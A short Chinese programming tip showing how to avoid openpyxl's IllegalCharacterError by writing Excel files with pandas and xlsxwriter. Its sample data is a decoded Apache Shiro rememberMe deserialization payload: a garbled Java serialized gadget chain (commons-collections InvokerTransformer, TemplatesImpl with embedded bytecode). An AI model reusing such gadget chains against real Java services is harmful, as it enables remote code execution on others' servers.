解决：openpyxl.utils.exceptions.IllegalCharacterError

使用python写excel遇到非法字符，本来用的是openpyxl发现有报错，查了一下xlsxwriter可以自动处理非法字符，写起来更方便。
注意使用前安装xlsxwriter:

pip install xlsxwriter

import pandas as pd

def write_to_xlsx(data, filename):
    # 表头
    headers = ["测试点", "文本"]
    df = pd.DataFrame(data, columns=headers)
    df.to_excel(filename, sheet_name="测试结果", index=False, engine='xlsxwriter')
text = """
这是一个shiro反序列化漏洞, 解密后的payload内容为:\n```\nrememberMe=¬ísrjava.util.HashMapÚÁÃ`ÑF\nloadFactorI    thresholdxp?@wsr4org.apache.commons.collections.keyvalue.TiedMapEntryŠ­Ò›9ÁÛLkeytLjava/lang/Object;LmaptLjava/util/Map;xpsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl    WOÁn¬«3I
_indentNumberI_transletIndexZ_useServicesMechanismL_auxClassest;Lcom/sun/org/apache/xalan/internal/xsltc/runtime/Hashtable;[\n_bytecodest[[B[_classt[Ljava/lang/Class;L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xpÿÿÿÿpur[[BKýggÛ7xpur[B¬óøTàxp|Êþº¾2ëFooIxp0on0KXjava/lang/Object\nSourceFileFooIxp0on0KX.java    writeBody(Ljava/lang/Object;[B)V$org.apache.tomcat.util.buf.ByteChunk    java/lang/ClassforName%(Ljava/lang/String;)Ljava/lang/Class;
\nnewInstance()Ljava/lang/Object;\nsetBytes[Bjava/lang/IntegerTYPELjava/lang/Class;    getDeclaredMethod@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; \n!<init>(I)V#$\n%java/lang/reflect/Method'invoke9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;)*\n(+getClass()Ljava/lang/Class;-.\n/doWrite1    getMethod3 \n4 java/lang/ClassNotFoundException6java.nio.ByteBuffer8wrap:java/lang/NoSuchMethodException<Code\nExceptionsjava/lang/Exception@
StackMapTablegetFV8(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;getDeclaredField-(Ljava/lang/String;)Ljava/lang/reflect/Field;EF\nGjava/lang/NoSuchFieldExceptionI
getSuperclassK.\nL(Ljava/lang/String;)V#N\nJO"java/lang/reflect/AccessibleObjectQ
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getProperties()Ljava/util/Properties;ÝÞ\n¨ßjava/util/HashtableátoStringãs\nâä[Ljava/lang/String;æ@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTransletè\né`!é\n>/ö\n¸N-¶M-½YSY²SY²S¶",½Y+SY»Y·&SY»Y+¾·&S¶,W*¶02½Y-S¶5*½Y,S¶,W§:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§H:9¸N-;½YS¶"-½Y+S¶,M*¶02½Y-S¶5*½Y,S¶,W§±hk7h°=B÷k7÷D=ýD?A\nCD>~?M*¶0N§-+¶HM§§:-¶MN§-¦ÿç,¦»JY+·P¿,¶V,*¶\°\nJB%ý\nXÿ^XJ    
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¸o‡¸oL§:§Ã§+‰¸oÀ‹:    6\n\n    ¹¢ž    \n¹’:”¸oL+¶0–½¶5+½¶,M+¶0˜½Y^S¶5+½YšS¶,À^N-¥\n-¶ž™§X,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W,¶0¢½Y^SY^S¶5,½YšSY-S¶,W6+¶0˜½Y^S¶5+½Y¤S¶,À^N-¥\n-¶ž™§,¶0 ½Y²S¶5,½Y»YÈ·&S¶,W¦¸¬¶¯±¶{™½^Y³SYµSY-S§½^Y·SY¹SY-S:,»»Y»½Y·À¶Ä¶Ê·Í϶ӶֶڸÜ6-¥\n-¶ž™š§,¸à¶å¶Ú¸Ü™§    „\n§þ\™§    „§ýß±_psABÝÿqücÿ^qcÿ^qcSAÿ^qcþ
‹ÿc^qc‹ûT.ûMQç)ÿ^qc‹ÿqcú?Aptabcsrjava.util.Properties9Ðzp6>˜Ldefaultsq~xrjava.util.Hashtable»%!Jä¸F\nloadFactorI    thresholdxp?@wxpwxsr*org.apache.commons.collections.map.LazyMapn唂žy”Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.InvokerTransformer‡èÿk{|Î8[iArgst[Ljava/lang/Object;LiMethodNameq~\n[iParamTypesq~    xpur[Ljava.lang.Object;ÎXŸs)lxptnewTransformerur[Ljava.lang.Class;«×®ËÍZ™xpsq~?@wxxttxØÏʼ÷Ð\n```\n
"""

data=[["shiro",text]]
write_to_xlsx(data,"res.xlsx")